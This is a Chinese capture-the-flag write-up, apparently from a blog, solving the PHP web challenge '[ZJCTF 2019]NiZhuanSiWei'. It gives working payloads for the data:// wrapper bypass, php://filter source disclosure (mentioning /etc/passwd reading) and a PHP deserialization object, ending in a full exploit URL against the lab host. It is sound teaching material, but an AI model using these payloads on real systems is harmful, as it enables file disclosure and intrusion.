zoukankan      html  css  js  c++  java
  • [ZJCTF 2019]NiZhuanSiWei

    0x00知识点

    1:data伪协议写入文件
    2:php://

    php://filter用于读取源码
    php://input用于执行php代码
    

    3反序列化

    0x01解题

    打开题目,给了我们源码

    <?php  
    $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
        if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    }
    else{
        highlight_file(__FILE__);
    }?>
    

    第一个绕过:

    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
    

    这里需要我们传入一个文件且其内容为welcome to the zjctf,这样的话往后面看没有其他可以利用的点,我们就无法写入文件再读取,就剩下了一个data伪协议。data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中然后让file_get_contents函数取读取。构造如下:

    text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
    

    当然也可以不需要base64,但是一般为了绕过某些过滤都会用到base64。data://text/plain,welcome to the zjctf

    第二个绕过

    $file = $_GET["file"];
    if(preg_match("/flag/",$file)){
            echo "Not now!";
            exit(); 
        }else{
            include($file);  //useless.php
            $password = unserialize($password);
            echo $password;
        }
    

    这里有file参数可控,但是无法直接读取flag,可以直接读取/etc/passwd,但针对php文件我们需要进行base64编码,否则读取不到其内容,所以以下无法使用:

    file=useless.php
    

    所以下面采用filter来读源码,但上面提到过针对php文件需要base64编码,所以使用其自带的base64过滤器。

    php://filter/read=convert.base64-encode/resource=useless.php
    

    读到的useless.php内容如下:

    <?php  
    class Flag{  //flag.php  
        public $file;  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    ?>
    

    第三个绕过

    $password = $_GET["password"];
    include($file);  //useless.php
    $password = unserialize($password);
    echo $password;
    

    这里的file是我们可控的,所以在本地测试后有执行下面代码即可出现payload:

    <?php  
    class Flag{  //flag.php  
        public $file="flag.php";  
        public function __tostring(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file); 
                echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
            }  
        }  
    }  
    $a = new Flag();
    echo serialize($a);
    ?>
    //O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
    

    最后payload

    http://6619a3b1-daa6-4ab9-bb3d-ba8b90593516.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:%7Bs:4:%22file%22;s:8:%22flag.php%22;%7D
    

    参考链接https://www.redmango.top/articles/article/40/

  • 相关阅读:
    ANDROID – 單色漸層效果的改良 – GRADIENT SCRIMS(转)
    ANDROID – TOOLBAR 上的 NAVIGATION DRAWER(转)
    ANDROID – TOOLBAR STEP BY STEP(转)
    Android设计和开发系列第二篇:Action Bar(Develop—Training)
    Android设计和开发系列第二篇:Action Bar(Develop—API Guides)
    Android设计和开发系列第二篇:Action Bar(Design)
    Android英文文档翻译系列(6)——LocalBroadcastManager
    Android设计和开发系列第一篇:Notifications通知(Develop—API Guides)
    Android设计和开发系列第一篇:Notifications通知(Develop—Training)
    Apache与Nginx虚拟主机设置(多域名和多端口的区别)
  • 原文地址:https://www.cnblogs.com/wangtanzhi/p/12184759.html
Copyright © 2011-2022 走看看